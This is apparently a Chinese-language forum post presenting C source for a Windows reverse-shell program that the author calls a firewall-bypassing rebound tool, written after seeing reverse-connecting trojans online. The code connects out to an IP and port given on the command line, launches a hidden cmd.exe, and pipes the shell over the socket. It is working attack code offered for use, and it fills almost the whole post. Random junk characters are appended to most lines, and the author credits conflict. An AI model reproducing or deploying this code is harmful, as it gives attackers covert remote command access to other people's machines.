这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 T*m_rDDt
v#xF;@G
/* ============================== Pl4d(2
7
Rebound port in Windows NT ;nE}%lT
By wind,2006/7 ;]!
===============================*/ _NFJm(X.
#include Pif1sL6'
#include +8M{y D9#
xmDwoLU
#pragma comment(lib,"wsock32.lib") m`~ Qr~
&0raa
void OutputShell(); FmPF7
SOCKET sClient; H'2 =yhtVh
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ^E^: =Q?'_
$ }53f'QjW
void main(int argc,char **argv) al/~
{ c@`P{6
WSADATA stWsaData; Wj&s5;2a
int nRet; &n|gPp77$
SOCKADDR_IN stSaiClient,stSaiServer; *O~D lf
G`jhzG
if(argc != 3) i{2KMa{K
{ P;34Rd
printf("Useage:\n\rRebound DestIP DestPort\n"); 9EEHLx"
return; K4"as9oFP
} }O/Nn0,
{8Ll\j@ "
WSAStartup(MAKEWORD(2,2),&stWsaData); V|=
1<v
.;'xm_Gw<
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); AO6;aT
jo;n~>3P
stSaiClient.sin_family = AF_INET; /Q-!><riD
stSaiClient.sin_port = htons(0); PLD!BD
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); )8;'fE[p}
bHCd|4e,2
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Vq\6c
{ tyh%s"
printf("Bind Socket Failed!\n"); pyKMi /)bL
return; j^gF~Wz^
} LHps2,
F3q5!1
stSaiServer.sin_family = AF_INET; 7_RU*U^
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); #p]On87>
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); \xt!b^d0
zv41Yv!x}
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ee0J;pP2#
{ /bWV`*
printf("Connect Error!"); !E%!,
return; (<12&=WxE
} wZ^/-
OutputShell(); 4{|lzo'&
} J [1GP_
N`M5`=.
void OutputShell() xK/`XY
{ &("?6%GC
char szBuff[1024]; f: Rh9
SECURITY_ATTRIBUTES stSecurityAttributes; *M{1RMc
OSVERSIONINFO stOsversionInfo; 2}NfR8
N
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; M`(xAVl
STARTUPINFO stStartupInfo; ^JTfRZ:a
char *szShell; ?@~FT1"6G
PROCESS_INFORMATION stProcessInformation; bnlL-]]9z
unsigned long lBytesRead; R~`Y6>o~9:
(/%}a`2#o
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); QwhPN'U
|:\h3M
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); z, OMR`W
stSecurityAttributes.lpSecurityDescriptor = 0; JOMZ&c^
stSecurityAttributes.bInheritHandle = TRUE; zVIzrz0
!`SR$dnE
<C&UDj
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); nJ,56}
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Ac|`5'/Tx
v#~,)-D&
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); '
|4XyU=
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vjHbg#0 %
stStartupInfo.wShowWindow = SW_HIDE; pH4i6B*5
stStartupInfo.hStdInput = hReadPipe; q+K`+& @\
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; oR+Fn}mG
txi
m|)
GetVersionEx(&stOsversionInfo); `]%{0 Rx
@y,p-##e
switch(stOsversionInfo.dwPlatformId) '!_o`t@
{ uuq?0t2Z
case 1: VR'w$mp
szShell = "command.com"; f~]5A%=cZ
break; WYq, i}S
default: \UXQy{Ex
szShell = "cmd.exe"; b^ v.FK46G
break; LE7o[<>
} , 7}Ri
4F'@yi^Gt
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); >6@UjGj54
b&LhydaJ
send(sClient,szMsg,77,0); =/zQJzN
while(1) R)#"Ab Z'
{ _8bqk\m+
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); C ZJW`c/
if(lBytesRead) 5f1yszd
{ zP5H TEz
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); rIu>JyC"p
send(sClient,szBuff,lBytesRead,0); \\[P^ tsF
} Ar|_UV>Zf
else Wjj'yqBO^
{ }b1P!xb!A
lBytesRead=recv(sClient,szBuff,1024,0); $Q?UyEi
if(lBytesRead<=0) break; Lg'z%pi
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Q 5Ln'La$
} d~.#K S
} A0'Yfuie
b+{yF
return; c^m}ep\F5L
}